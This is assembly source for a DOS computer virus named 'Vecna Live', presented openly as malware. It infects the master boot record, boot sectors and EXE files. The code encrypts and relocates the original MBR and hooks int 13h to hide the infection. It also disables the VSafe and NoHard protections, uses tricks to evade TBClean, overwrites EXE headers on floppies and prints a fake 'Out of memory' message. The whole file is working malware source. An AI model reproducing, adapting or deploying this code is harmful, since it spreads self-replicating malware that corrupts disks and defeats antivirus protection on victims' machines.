;  " Seldom is the name Vecna spoken, and even then only in the most hushed
;    and terrified tones, for legends say the shade of this most supreme 
;    of all liches still roams the world."
;
; [Vecna Live] by Vecna
;
; Resident Boot/MBR/EXE infector
; Advanced Stealth
; Encrypt Boot/MBR
; Retro functions
; Does other stuff

.model  tiny
.code
org     0

MARK = 'V ' XOR 05555h

Start:  cli
	jmp     short begin

bootif: db      1fh dup (?)                             ; Old BPB

begin:  cmp     cs:[0], 20cdh                           ; Check PSP
	jnz     InBoot

InCom:  sti                                             ; TBClean active?
	push    word ptr [loco+100h]                    ; Debug active?
	mov     byte ptr [loco+100h+1], 0h              ; Pentium?
loco:   jmp     short conti                             ; No, continue
	mov     si, offset Msg2+100h
	mov     cx, EndMsg2-Msg2
	mov     byte ptr[_ret+100h], 0c3h
	xor     ax, ax
	db      2eh
	int     10h
	call    Decrypt                                 ; Print warning
twast:  loop    twast                                   ; Wast time

conti:  pop     word ptr [loco+100h]                    ; Restore
	mov     byte ptr[_ret+100h], 2eh
	mov     ah, 0ffh                                ; Uninstall NoHard
	xor     bl, bl
	db      2eh                                     ; Anti-TBClean
	int     13h
	mov     ax, 0fa02h                              ; Uninstall VSafe
	mov     dx, 5945h
	int     16h
	mov     ah, 019h                                ; Res check
	int     13h
	cmp     ah, 0f0h
	je      GoOut
	mov     ax, 0201h                               ; Read MBR
	mov     bx, offset EndVir+100h
	mov     cl, 01h
	push    cx
	mov     dx, 0080h
	int     13h
	cmp     word ptr es:[bx+offset marker],MARK     ; Is infected?
	je      GoOut
	call    EncDec                                  ; Encrypt MBR
	mov     ax, 0301h
	push    ax
	mov     cl, 05h
	int     13h                                     ; Write to sector 5
	pop     ax
	pop     cx
	mov     bx, 0100h
	int     13h                                     ; Write virus
GoOut:  mov     si, offset Msg+100h
	mov     cx, EndMsg-Msg                          ; Print fake msg

Decrypt:lodsb
	xor     al, 055h
	db      2eh                                     ; Anti-TBClean
	int     29h
	loop    Decrypt
	mov     ah, 4ch
_ret:   db      2eh                                     ; Anti-TBClean
	int     21h

InBoot: mov     si,7c00h
	xor     ax,ax
	mov     es,ax
	mov     cl,6
	mov     ss,ax                                   ; Setup stack
	mov     sp,si
	sti
	mov     ds,ax
	dec     word ptr ds:[413h]                      ; Steal 1024 bytes
	int     12h
	shl     ax,cl
	xor     di,di
	mov     cx,100h
	mov     es,ax
	rep     movsw                                   ; Copy to high mem
	mov     ax,word ptr ds:[13h*4]
	mov     word ptr es:[offset i13],ax
	mov     ax,word ptr ds:[13h*4+2]
	mov     word ptr es:[offset i13+2],ax
	mov     word ptr ds:[13h*4],offset handler     ; Hook int 13h
	mov     word ptr ds:[13h*4+2],es
	int     19h                                    ; Reboot

Stealth:mov     cx,5                                   ; Show sector 5
	mov     ax,201h
	cmp     dl,80h
	jae     st_hd
	mov     cl,14                                  ; Or sector 14 head 1
	mov     dh,1                                   ; in floppies
st_hd:  call    int13h
	call    EncDec                                 ; Decrypt
	jmp     short pop_exit

Handler:cmp     ah, 019h                               ; Res check?
	je      ResTest
	cmp     ah,2                                   ; Reading?
	jb      OtherStealth
	cmp     ah,3                                   ; Writing?
	ja      OtherStealth
	cmp     cx,1                                   ; In boot sector?
	jne     OtherStealth
	cmp     dh,0
	jne     OtherStealth
	call    int13h
	jnc     GoInf                                  ; Try infect
	jmp     a13h
ResTest:mov     ah, 0f0h
	iret

GoInf:  pushf
	push    ax
	push    bx
	push    cx
	push    dx
	push    si
	push    di
	push    es
	push    ds
	cmp     word ptr es:[bx + offset marker],MARK  ; Already infect
	je      stealth
	cmp     dl,80h
	jb      inf_fl
	mov     cx,5
	xor     dh,dh
	jmp     short write_v
Inf_fl: mov     cl,14
	mov     dh,1
Write_V:call    EncDec
	mov     ax,301h
	call    int13h                                 ; Write encrypted Boot
	call    EncDec
	jc      pop_exit
	push    es
	pop     ds
	push    cs
	pop     es
	mov     si, bx
	add     si, 3
	mov     di, offset bootif
	mov     cx, 1fh
	rep     movsb                                  ; Copy BPB
	push    cs
	push    cs
	pop     es
	pop     ds
	xor     bx, bx
	mov     ax,301h
	mov     cx,1
	xor     dh,dh
	call    int13h

Pop_Exit:pop     ds
	pop     es
	pop     di
	pop     si
	pop     dx
	pop     cx
	pop     bx
	pop     ax
	popf
	retf    2

OtherStealth:
	cmp     cx,5                                   ; In sector 5?
	jne     IsExe
	cmp     dh,0                                   ; In head 0?
	jne     IsExe
	cmp     dl,80h                                 ; In hd?
	jb      IsExe
	mov     cx, 0bh                                ; To sector 11
	jmp     short a13h

IsExe:  cmp     ah, 03h
	jne     a13h                                   ; Writing?
	push    ax
	mov     ax, word ptr es:[bx]
	add     al, ah
	cmp     al, 167                                ; EXE file?
	pop     ax
	jne     a13h
	cmp     word ptr es:[bx+4], 080h               ; Big enough?
	jbe     a13h
	cmp     dl,80h                                 ; In floppy?
	jae     a13h
	push    ds
	push    cx
	push    di
	push    si
	push    cs
	pop     ds
	xor     si, si
	mov     di, bx
	mov     cx, 200h
	rep     movsb                                  ; Overwrite with
	pop     si                                     ; virus code
	pop     di
	pop     cx
	pop     ds

a13h:   db      0eah
	i13     dd 0

Int13h: pushf
	call    dword ptr cs:[i13]
	ret

EncDec: push   bx                                       ; Encrypt/Decrypt boot
	push   cx
	mov    cx, 200h
EncLoop:xor    byte ptr es:[bx], cl
	inc    bx
	loop   EncLoop
	pop    cx
	pop    bx
	ret

Msg     db      'O' XOR 055h                            ; Fake message
	db      'u' XOR 055h
	db      't' XOR 055h
	db      ' ' XOR 055h
	db      'o' XOR 055h
	db      'f' XOR 055h
	db      ' ' XOR 055h
	db      'm' XOR 055h
	db      'e' XOR 055h
	db      'm' XOR 055h
	db      'o' XOR 055h
	db      'r' XOR 055h
	db      'y' XOR 055h
	db      '.' XOR 055h
	db      10  XOR 055h
	db      13  XOR 055h
endmsg:

Marker:

msg2:   db      ' ' XOR 055h                            ; Warning...
	db      'V' XOR 055h
	db      'e' XOR 055h
	db      'c' XOR 055h
	db      'n' XOR 055h
	db      'a' XOR 055h
	db      ' ' XOR 055h
	db      'L' XOR 055h
	db      'i' XOR 055h
	db      'v' XOR 055h
	db      'e' XOR 055h
	db      ' ' XOR 055h
	db      '.' XOR 055h
	db      '.' XOR 055h
	db      '.' XOR 055h
	db      10  XOR 055h
	db      13  XOR 055h
	db      07  XOR 055h
endmsg2:

org     510
	db      055h,0aah                               ; Valid MBR

EndVir:

end